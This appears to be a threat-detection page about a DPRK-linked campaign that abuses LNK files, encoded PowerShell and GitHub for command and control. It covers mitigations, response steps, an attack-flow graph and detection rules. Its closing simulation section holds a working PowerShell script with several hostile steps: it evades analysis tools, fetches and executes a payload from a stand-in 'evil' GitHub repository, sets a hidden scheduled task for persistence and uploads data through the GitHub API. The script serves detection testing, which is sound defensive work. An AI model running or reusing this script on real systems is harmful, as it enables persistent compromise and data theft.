DPRK-Related Campaigns with LNK and GitHub C2
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
FortiGuard Labs reports a DPRK-linked campaign that weaponizes LNK shortcut files to launch encoded PowerShell stages, establish persistence through scheduled tasks, and exfiltrate data via GitHub. The LNK command line embeds decoding logic, allowing operators to rely on built-in Windows utilities and reduce obvious malware artifacts. The activity targets organizations in South Korea and follows a multi-stage workflow. By using legitimate public infrastructure like GitHub, the campaign blends into normal developer traffic and complicates network-based blocking.
Investigation
Analysts documented a three-stage chain: (1) LNK files carrying encoded PowerShell in their arguments, (2) a PowerShell stage that performs anti-analysis checks, drops a VBScript, creates a hidden scheduled task, and collects host/system details, and (3) a final stage that repeatedly pulls additional modules from a GitHub repository. Multiple GitHub accounts were observed supporting the C2 workflow, including hard-coded access tokens used to upload data through the GitHub API. The operators also used decoy PDF documents to make the lure more believable and reduce user suspicion.
Mitigation
Block or restrict execution of LNK files originating from untrusted locations (email downloads, temp folders, user profile download paths). Monitor for suspicious PowerShell and VBScript execution patterns, especially when followed by creation of unusual scheduled tasks. Where feasible, limit or proxy outbound access to GitHub API endpoints for systems without a business need, and alert on atypical GitHub API usage from non-developer hosts. Reinforce application control and EDR detections to flag abuse of native Windows tools used for staging, decoding, and persistence.
Response
If detected, isolate the endpoint and preserve evidence by collecting the LNK file, scheduled task definition, and any dropped scripts. Remove the scheduled task, revoke any exposed GitHub access token(s), and perform a full host sweep for related artifacts and follow-on modules. Notify relevant stakeholders, then update detection content to cover the observed behaviors and IOCs to support broader environment hunting.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Nodes action_initial_access["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Delivery of malicious .lnk disguised as Korean PDF"] class action_initial_access action tool_lnk["<b>Tool</b> – <b>Name</b>: .lnk Shortcut<br/><b>Technique</b>: T1547.009 Shortcut Modification"] class tool_lnk tool action_execution_lnk["<b>Action</b> – <b>T1547.009 Boot or Logon Autostart Execution: Shortcut Modification</b><br/>Shortcut triggers PowerShell"] class action_execution_lnk action tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Technique</b>: T1059.001 Command and Scripting Interpreter"] class tool_powershell tool action_obfuscation["<b>Action</b> – <b>Obfuscation Techniques</b><br/>T1027.012 Icon Smuggling, T1027.008 Stripped Payloads, T1027.009 Embedded Payloads"] class action_obfuscation action action_sandbox_evasion["<b>Action</b> – <b>T1497.002 Virtualization/Sandbox Evasion</b><br/>Checks for analysis tools and aborts"] class action_sandbox_evasion action action_decode_payload["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Decodes Base64/XOR, writes VBScript to %Temp%"] class action_decode_payload action tool_vbscript["<b>Tool</b> – <b>Name</b>: VBScript<br/>Writes script to %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Tool</b> – <b>Name</b>: Scheduled Task<br/><b>Technique</b>: T1037 Boot or Logon Initialization Scripts"] class tool_scheduled_task tool action_persistence["<b>Action</b> – <b>Persistence</b><br/>Runs VBScript every 30 minutes"] class action_persistence action action_discovery["<b>Action</b> – <b>Discovery</b><br/>T1082 System Information Discovery, T1057 Process Discovery"] class action_discovery action action_c2["<b>Action</b> – <b>Command and Control</b><br/>T1567.001 Exfiltration to GitHub, T1102.002 Bidirectional Web Service, T1538 Cloud Service Dashboard"] class action_c2 action tool_github["<b>Tool</b> – <b>Name</b>: GitHub API<br/>Used for exfiltration and module retrieval"] class tool_github tool %% Connections action_initial_access –>|delivers| tool_lnk tool_lnk –>|triggers| action_execution_lnk action_execution_lnk –>|uses| tool_powershell tool_powershell –>|executes| action_obfuscation action_obfuscation –>|leads to| action_sandbox_evasion action_sandbox_evasion –>|proceeds to| action_decode_payload action_decode_payload –>|writes| tool_vbscript tool_vbscript –>|creates| tool_scheduled_task tool_scheduled_task –>|enables| action_persistence action_persistence –>|collects data for| action_discovery action_discovery –>|sends data to| action_c2 action_c2 –>|uses| tool_github "
Attack Flow
Detections
Possible Powershell Obfuscation Indicators (via powershell)
View
Possible Github File Downloading Initiated By Unusual Process (via network_connection)
View
Suspicious Powershell Strings (via powershell)
View
Download or Upload via Powershell (via cmdline)
View
The Possibility of Execution Through Hidden PowerShell Command Lines (via cmdline)
View
Possible Malicious LNK File with Double Extension (via cmdline)
View
Possible Evasion Checks (via powershell)
View
Suspicious Powershell Strings (via cmdline)
View
Possible Scheduled Task Creation (via powershell)
View
IOCs (HashSha256) to detect: DPRK-Related Campaigns with LNK and GitHub C2
View
PowerShell Script Fetching from GitHub for Persistence and Data Exfiltration [Windows Powershell]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
The adversary has compromised a low‑privilege user account on a Windows workstation. To maintain persistence and exfiltrate data stealthily, they craft a single PowerShell one‑liner that:- Checks for common analysis‑tool processes (
vmxnet,vboxservice,idaq,fiddler,wireshark). If any are present, the script aborts. - Downloads a Base64‑encoded payload from a public GitHub repository (
https://raw.githubusercontent.com/evil/loot/main/payload.b64). - Decodes the payload in memory and executes it.
- Registers a scheduled task via
New‑ScheduledTaskActionto re‑run the same PowerShell command on each reboot (persistence). - Sends stolen data back to the attacker’s GitHub repository using the GitHub API (
api.github.com).
All steps are concatenated with semicolons, ensuring that the entire command line contains the required strings for the Sigma rule.
- Checks for common analysis‑tool processes (
-
Regression Test Script:
# ------------------------------------------------- # One‑liner that satisfies every Sigma condition # ------------------------------------------------- $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark" foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } } $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64" $bytes = [System.Convert]::FromBase64String($b64) $decoded = [System.Text.Encoding]::UTF8.GetString($bytes) IEX $decoded $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`"" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force # Exfiltrate sample data $data = "SensitiveInfo" $json = @{content=$data} | ConvertTo-Json Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}Note: Replace
<INSERT SAME ONE‑Liner HERE>with the exact same one‑liner (recursive) or store it in a variable to avoid duplication. The script is intentionally verbose to illustrate each step; in a real campaign the adversary would compact it further. -
Cleanup Commands:
# Remove scheduled task Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false # Delete any temporary files (if any were written) Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue # Optionally terminate the malicious in‑memory process (if still running) Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force